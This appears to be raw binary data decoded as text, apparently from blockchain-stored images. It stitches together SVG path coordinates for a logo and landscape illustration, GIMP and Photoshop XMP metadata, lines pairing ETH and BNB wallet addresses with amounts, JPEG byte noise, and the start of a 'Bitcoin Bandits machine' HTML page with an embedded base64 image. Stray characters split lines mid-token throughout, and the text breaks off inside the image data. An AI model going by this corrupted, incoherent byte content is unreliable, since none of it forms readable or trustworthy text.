3.17-.535.41-.705.72-.17.3-.255.655-.255 1.065 0 .4.085.755.255 1.065.17.31.405.55.705.72.31.17.665.255 1.065.255Zm5.373 1.71v-7.2h1.65v7.2h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.3 0-.57.06-.81.18-.23.12-.415.295-.555.525-.14.22-.21.49-.21.81l-.645-.36c0-.55.12-1.025.36-1.425.24-.4.565-.71.975-.93.41-.23.87-.345 1.38-.345.51 0 .97.11 1.38.33.41.22.735.53.975.93s.36.88.36 1.44V575h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.29 0-.555.06-.795.18s-.43.295-.57.M
525c-.14.22-.21.49-.21.81l-.93-.36c.05-.55.21-1.025.48-1.425a2.8 2.8 0 0 1 1.035-.93c.43-.23.9-.345 1.41-.345.52 0 .99.11 1.41.33.42.22.755.53 1.005.93.25.4.375.88.375 1.44V575h-1.65Z"/>
      <path fill="#FF7F7C" d="M130.318 575.15c-.55 0-1.04-.115-1.47-.345a2.73 2.73 0 0 1-1.02-.975 2.71 2.71 0 0 1-.36-1.395v-2.07c0-.52.125-.985.375-1.395.25-.41.59-.73 1.02-.96.43-.24.915-.36 1.455-.36.65 0 1.235.17 1.755.51.53.33.945.78 1.245 1.35.31.56.465 1.195.465 1.905 0 .7-.155 1.335-.465 1.905-.3.56-.715 1.005-1.245 1.335-M
.52.33-1.105.495-1.755.495Zm-.27-1.56c.4 0 .75-.09 1.05-.27.31-.19.55-.45.72-.78.18-.33.27-.71.27-1.14 0-.43-.09-.81-.27-1.14-.17-.33-.41-.585-.72-.765a1.92 1.92 0 0 0-1.05-.285c-.4 0-.755.095-1.065.285-.31.18-.55.435-.72.765-.17.33-.255.71-.255 1.14 0 .43.085.81.255 1.14.17.33.41.59.72.78.31.18.665.27 1.065.27Zm-3.585 1.41v-10.8h1.65v5.37l-.285 1.74.285 1.755V575h-1.65Zm9.591 0v-10.2h1.65V575h-1.65Zm-1.725-5.7v-1.5h5.1v1.5h-5.1Zm9.409 5.85c-.71 0-1.355-.165-1.935-.495-.57-.33-1.02-.78-1.35-1.35a3.733 3.733 0 0 1-.M
495-1.905c0-.71.165-1.345.495-1.905.33-.57.78-1.02 1.35-1.35a3.844 3.844 0 0 1 1.935-.495c.56 0 1.08.11 1.56.33.49.21.905.515 1.245.915l-1.08 1.095a1.913 1.913 0 0 0-.765-.555 2.32 2.32 0 0 0-.96-.195c-.41 0-.775.095-1.095.285-.31.18-.555.43-.735.75-.17.32-.255.695-.255 1.125 0 .42.085.795.255 1.125.18.32.425.575.735.765.32.18.685.27 1.095.27.35 0 .67-.06.96-.18.3-.13.555-.32.765-.57l1.08 1.095c-.34.4-.755.71-1.245.93-.48.21-1 .315-1.56.315Zm5.254 0c-.32 0-.585-.105-.795-.315-.2-.22-.3-.485-.3-.795 0-.32.1-.585.3-.M
795.21-.21.475-.315.795-.315.32 0 .58.105.78.315.21.21.315.475.315.795 0 .31-.105.575-.315.795-.2.21-.46.315-.78.315Zm3.106-.15v-7.2h1.65v7.2h-1.65Zm.825-8.52a.958.958 0 0 1-.705-.285.986.986 0 0 1-.27-.705c0-.28.09-.515.27-.705a.958.958 0 0 1 .705-.285c.29 0 .525.095.705.285.18.19.27.425.27.705 0 .28-.09.515-.27.705a.927.927 0 0 1-.705.285Zm5.976 8.67c-.7 0-1.335-.165-1.905-.495a3.88 3.88 0 0 1-1.365-1.365 3.733 3.733 0 0 1-.495-1.905c0-.7.165-1.33.495-1.89.34-.56.795-1.005 1.365-1.335.57-.34 1.205-.51 1.905-.51.7M
1 0 1.35.165 1.92.495.57.33 1.02.78 1.35 1.35.34.56.51 1.19.51 1.89s-.17 1.335-.51 1.905c-.33.57-.78 1.025-1.35 1.365-.57.33-1.21.495-1.92.495Zm0-1.59c.41 0 .77-.09 1.08-.27.32-.19.565-.45.735-.78.18-.33.27-.705.27-1.125 0-.42-.09-.79-.27-1.11-.18-.32-.425-.57-.735-.75-.31-.19-.67-.285-1.08-.285-.4 0-.76.095-1.08.285-.31.18-.555.43-.735.75-.17.32-.255.69-.255 1.11 0 .42.085.795.255 1.125.18.33.425.59.735.78.32.18.68.27 1.08.27Z"/>
    <circle cx="300" cy="300" r="244" fill="#D9D9D9" stroke="#fff" stroke-wiM
dth="20" class="ol"/>
      <mask id="a" width="468" height="468" x="66" y="66" class="a" maskUnits="userSpaceOnUse" style="mask-type:alpha">
        <circle cx="300" cy="300" r="234" fill="#FCE07D" class="cm"/>
      <g mask="url(#a)">
        <g class="ci">
          <circle cx="300" cy="300" r="234" fill="url(#b)" class="ci"/>
        <g class="str" opacity=".01">
          <path fill="#fff" fill-rule="evenodd" d="M432 179a5 5 0 1 0-.001-10.001A5 5 0 0 0 432 179Zm-250M
 26.5a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0ZM437 244a5 5 0 1 0-.001-10.001A5 5 0 0 0 437 244Zm-280 9a5 5 0 1 0-.001-10.001A5 5 0 0 0 157 253Zm68-74a5 5 0 1 1-10.001-.001A5 5 0 0 1 225 179Zm219.5 94a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z" class="Union" clip-rule="evenodd" opacity=".4"/>
        <g class="sn">
          <circle cx="300" cy="202" r="97" fill="url(#c)" class="Ellipse 12" opacity=".5"/>
          <circle cx="300" cy="202" r="74.336" fill="url(#d)" class="Ellipse 13" opacity=".4"/>
rcle cx="300.454" cy="202.454" r="55.752" fill="url(#e)" class="Ellipse 14"/>
          <path fill="#fff" d="M279.87 225.45c-2.434 0-4.6-.45-6.5-1.35-1.867-.9-3.367-2.167-4.5-3.8l2.9-2.95c.966 1.233 2.116 2.167 3.45 2.8 1.333.667 2.916 1 4.75 1 2.433 0 4.35-.65 5.75-1.95 1.433-1.267 2.15-2.983 2.15-5.15v-5.9l.8-5.35-.8-5.3v-6.25h4.5v22.8c0 2.267-.534 4.25-1.6 5.95-1.034 1.7-2.5 3.033-4.4 4-1.867.967-4.034 1.45-6.5 1.45Zm0-10.85c-2.167 0-4.117-.517-5.85-1.55-1.7-1.033-3.05-2.45-4.05-4.25-1-1.833-1.5-3.883-1.5-6.15 0M
-2.267.5-4.283 1.5-6.05 1-1.8 2.35-3.217 4.05-4.25 1.733-1.067 3.683-1.6 5.85-1.6 1.866 0 3.516.367 4.95 1.1a8.49 8.49 0 0 1 3.4 3.1c.866 1.3 1.333 2.833 1.4 4.6v6.3c-.1 1.733-.584 3.267-1.45 4.6-.834 1.3-1.967 2.317-3.4 3.05-1.434.733-3.067 1.1-4.9 1.1Zm.9-4.25c1.466 0 2.75-.317 3.85-.95a6.425 6.425 0 0 0 2.6-2.65c.6-1.167.9-2.517.9-4.05s-.317-2.867-.95-4c-.6-1.167-1.45-2.067-2.55-2.7-1.1-.667-2.4-1-3.9-1s-2.817.333-3.95 1c-1.134.633-2.034 1.533-2.7 2.7-.634 1.133-.95 2.45-.95 3.95s.316 2.833.95 4a7.364 7.364 0 0 M
0 2.7 2.75c1.166.633 2.5.95 4 .95Zm18.205 4.65v-23.75h4.5V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.417-1.55-4.05-1.55-1.1 0-2.084.233-2.95.7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-1.85-.9c0-1.8.383-3.367 1.15-4.7a8.3 8.3 0 0 1 3.25-3.1c1.366-.767 2.9-1.15 4.6-1.15 1.666 0 3.166.367 4.5 1.1a7.964 7.964 0 0 1 3.2 3.1c.8 1.333 1.2 2.917 1.2 4.75V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.4-1.55-4-1.55-1.1 0-2.1.233-3 .7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.M
8 1.833-.8 3l-2.55-.9c.1-1.833.583-3.4 1.45-4.7a9.334 9.334 0 0 1 3.45-3.1c1.4-.767 2.933-1.15 4.6-1.15 1.733 0 3.283.367 4.65 1.1a8.307 8.307 0 0 1 3.25 3.1c.833 1.333 1.25 2.933 1.25 4.8V215h-4.55Z" class="gm"/>
        <g class="moon" opacity=".01">
          <circle cx="300" cy="193" r="70" fill="#fff" class="Ellipse 12" opacity=".2"/>
          <circle cx="300" cy="193" r="53" fill="#fff" class="Ellipse 13" opacity=".1"/>
          <circle cx="300.5" cy="193.5" r="40.5" fill="#fff" class="Ellipse M
          <path fill="#fff" fill-rule="evenodd" d="M280.73 228.393c22.371 0 40.506-18.135 40.506-40.505 0-14.927-8.074-27.967-20.092-34.993 22.024.4 39.755 18.378 39.755 40.498 0 22.371-18.135 40.506-40.506 40.506a40.325 40.325 0 0 1-20.414-5.512c.25.004.5.006.751.006Z" class="Subtract" clip-rule="evenodd" opacity=".7"/>
        <path fill="url(#f)" d="M556 400H36l136.131 171h277.767L556 400Z" class="m0"/>
        <path fill="#EFACA5" d="M556 400H36l15.5 16H548l8-16Z" class="m4"/>
      <path fill="#FFCBC5" d="M270.5 418.5c-21-7-15-14 7.5-18.5h43.616s2.39.659-9.616 4.5-4 7.058 13.5 14c17.775 7.051 16.5 8.167 35 20.5 15 10 34 23.5 58 43L104 487.979c40.021-5.595 95.671-20.12 116-23.979 32.017-6.078 72.786-38.071 50.5-45.5Z" class="m1"/>
        <path fill="#701124" fill-rule="evenodd" d="M392.687 455.487c7.04-44.389 12.773-97.185 10.813-134.747l-11.715 15.939-10.414-5.421 8.115 8.068-1.895 1.535-13.54-3.148 10.776 7.48-13.523 18.803-13.191 1.799 7.27 5.092-4.838 7.58-11.433-1.194 7.18 5.948-20M
.827 27.86c-.085-6.556 2.047-25.663 11.258-49.654 9.211-23.99 33.839-39.014 45.002-43.527l-13.792 2.024-10.789-4.593 1.284 7.066-32.38 8.456-6.126-4.972 1.267 4.465-7.051 3.883-4.459-7.108 1.314 6.78-26.227 7.656c13.411-14.964 52.175-42.489 99.945-32.875l-15.076-5.042-3.093-11.875-3.844 9.129-11.194-3.481-1.762-21.844-7.462 18.859-13.451-4.006.124-15.005-3.554 14.647-7.734-3.408-.879-8.178-2.837 7.79-17.845-6.197c20.479-9.332 65.689-22.045 87.424-.883-1.848-15.511 6.481-48.245 54.324-69.789l-3.707 10.587-5.431-.567M
 5.103 3.71-2.854 5.189-9.194-3.272 8.806 6.986-3.891 6.813-14.415-5.839 13.937 10.41-5.285 11.866-18.536-5.114 13.519 14.409-4.112 11.701-8.652-2.926 6.625 8.49-4.065 14.015c9.412-18.173 38.488-52.525 79.494-44.543l-23.092 16.359-13.528-6.035 7.935 9.783-18.161 13.408-10.652-3.135 3.976 6.192-7.517 5.568-6.937-2.747 3.345 6.704-11.847 8.292c17.556-10.391 61.404-18.535 96.342 32.019l-17.935-5.341.896-8.57-5.469 8.092-7.718-.806 1.344-12.856-5.708 10.378-14.428-2.952 1.553-14.855-9.347 12.019-12.291-1.285-.503-9.005M
-7.214 8.199-10.219-2.256c10.058 2.783 29.734 15.138 43.047 47.564l-20.004-15.954 2.449-4.076-5.158 2.349-18.259-16.06 2.795-4.617-8.153.592-12.351-10.041c3.315 26.071 6.301 80.426 1.131 137.584 2.199-10.553 5.538-21.706 9.676-25.825.883 6.743-3.767 26.418-6.204 35.894 2.571-7.082 7.085-11.459 11.012-13.956-1.923 7.02-5.209 15.954-8.815 21.538-2.058 1.281-5.164 2.809-7.938 3.335-2.048 16.171-4.817 32.318-8.483 47.873l-22.222-5.788c2.684-11.275 5.774-26.344 8.809-43.502-3.976.297-9.515-2.309-12.851-4.394-4.5-7-8.6-1M
8.2-11-27 4.9 3.13 10.533 8.617 13.742 17.496-3.041-11.879-8.845-36.543-7.742-44.996 6.734 6.734 11.773 28.466 14.173 43.969-.69-7.909-.783-16.986 1.327-21.469.727-1.544 3.798 7.21 5.687 16.487Zm55.982 5.281c5.44-18.321 12.823-39.287 20.184-53.233l1.015 8.496 5.049-.235-4.63 1.685.463.942 5.859 1.219-5.562.973 1.883 9.792 4.828 3.088-3.761.675.519 3.836 4.683 1.601-3.881 1.026 3.099 14.65c1.218-2.546 3.841-10.396 4.581-21.435.739-11.038-6.166-21.361-9.711-25.143l5.023 3.285 5.045.156-1.779 2.529 11.121 9.159 3.292-M
.835-1.302 1.515 2.053 2.793 3.027-1.971-1.739 2.411 8.862 7.734c-2.533-8.271-12.701-26.035-33.102-30.918l6.802.757 3.355-4.08-.149 4.261 5.003.665 4.639-8.216-.496 8.718 5.98.867 2.665-5.884-1.26 6.364 3.638.068 1.822-3.036-.3 3.556 8.092.806c-6.308-7.343-21.652-20.47-33.965-16.165 3.77-5.593 9.269-18.196-5.509-35.244l-.466 4.807 2.224.76-2.664.527.176 2.543 4.184.385-4.704 1.136.288 3.366 6.688.326-7.328 1.546-.081 5.592 8.167 1.354-7.887 3.185-3.634 3.479 3.909.422-4.124 2.119-.946 6.211c-.391-8.803-5.538-27.482M
-23.002-31.778l6.063 10.567 6.377.088-4.869 2.387 4.67 8.523 4.728.702-2.673 1.7 1.93 3.534 3.207.182-2.519 2.014 3.129 5.382c-4.98-7.235-20.638-18.346-43.43-4.913l7.973 1.157 1.2-3.511.673 4.151 3.161 1.08 1.8-5.265.353 5.087 6.171 1.455 2.08-6.084 1.478 6.386 5.034 1.721 1.825-3.428 1.336 4.508 4.4.967c-4.433-.732-14.354.537-25.419 10.798l10.7-2.616-.219-2.035 1.59 1.85 10.038-2.972-.257-2.309 3.078 1.705 6.976-1.666c-8.433 13.452-27.023 48.761-33.909 82.371l9.729 1.757c.762-3.762 1.864-8.452 3.238-13.726 1.337.2M
51 2.729.334 3.809.32 3.879-1.887 8.644-5.738 12.006-8.985-3.077.069-7.096.983-10.854 4.047 4.446-4.436 13.439-13.783 15.085-17.816-4.85 1.17-12.74 9.426-17.813 15.636 2.34-3.312 4.7-7.3 4.864-9.848.033-.522-1.248.343-2.975 1.887Z" class="m3" clip-rule="evenodd"/>
        <path fill="#520515" d="M538 489c-193.2-52.8-400.167-22-479.5 0-47.6 49.2 117.833 82.5 206.5 93 171.5-9 466.2-40.2 273-93Z" class="m2"/>
    <linearGradient id="b" x1="300" x2="300" y1="66" y2="534" class="b" grM
adientUnits="userSpaceOnUse">
      <stop stop-color="#FFC9B3"/>
      <stop offset="1" stop-color="#fff"/>
    </linearGradient>
    <linearGradient id="e" x1="300.454" x2="300.454" y1="146.701" y2="258.206" class="e" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF817E"/>
      <stop offset="1" stop-color="#D94E4B"/>
    </linearGradient>
    <linearGradient id="f" x1="296" x2="296" y1="400" y2="571" class="f" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FBC3BD"/>
      <stop offset="1" stoM
    </linearGradient>
    <radialGradient id="c" cx="0" cy="0" r="1" class="c" gradientTransform="matrix(0 97 -97 0 300 202)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FFC3C1"/>
    </radialGradient>
    <radialGradient id="d" cx="0" cy="0" r="1" class="d" gradientTransform="rotate(90 49 251) scale(74.3364)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FF8885"/>
    </radialGradient>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimpM
.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:444721bd-7faa-416a-8377-bef5932cb2b0" xmpMM:InstanceID="xmp.iid:5a8b0596-ea26-4e21-89bf-926b3fcf5b44" xmpMM:OriginalDocumentID="xmp.did:ce6a3c1c-90c4-4951-b4fa-3f37ca492acb" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676438231842697" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T16:17:10+11:00" xmp:M
ModifyDate="2023:02:15T16:17:10+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:9c5659b1-ca9e-48fa-bbc1-322108853fd4" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T16:17:11"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M8
                                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
Aj?=:ETH.ETH:0x7eD556ef38D227Ab8E244888B3fECce5F282bDDD:4837411::0
Bj@=:BNB.BNB:bnb1s0d02waxw3cy39f7mhfytul0kvdpe7vjx4rcuq:30491238::0
Bj@=:BNB.BNB:bnb130jrx2seujla6cnpphlkgl3am609uy26gl3hse:26144480::0
CjA=:ETH.ETH:0x0d4C47bBcE39Adb9725aa5572fe075566e91e1ad:404150718::0
&iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumeM
ntID="xmp.did:63AA7A0DAD0711ED8DA2897B3EA1015F" xmpMM:InstanceID="xmp.iid:63AA7A0CAD0711ED8DA2897B3EA1015F" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:99FF2567AD0311ED8AC5930B3F4C9D0E" stRef:documentID="xmp.did:99FF2568AD0311ED8AC5930B3F4C9D0E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
Aj?=:BNB.BNB:bnb1c74dcsxj69pexyckj7rwkdutwmztdjqc45v4wc:64541:te:0
Mbfug9C6FZP+9&CG52^7/
BDDDDDDDDDDDDDDDDDDD
*<5?>;5:9CK`QCGZH9:SqTZcfklk@Pv~th}`ikg
1gE:Egggggggggggggggggggggggggggggggggggggggggggggggggg
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
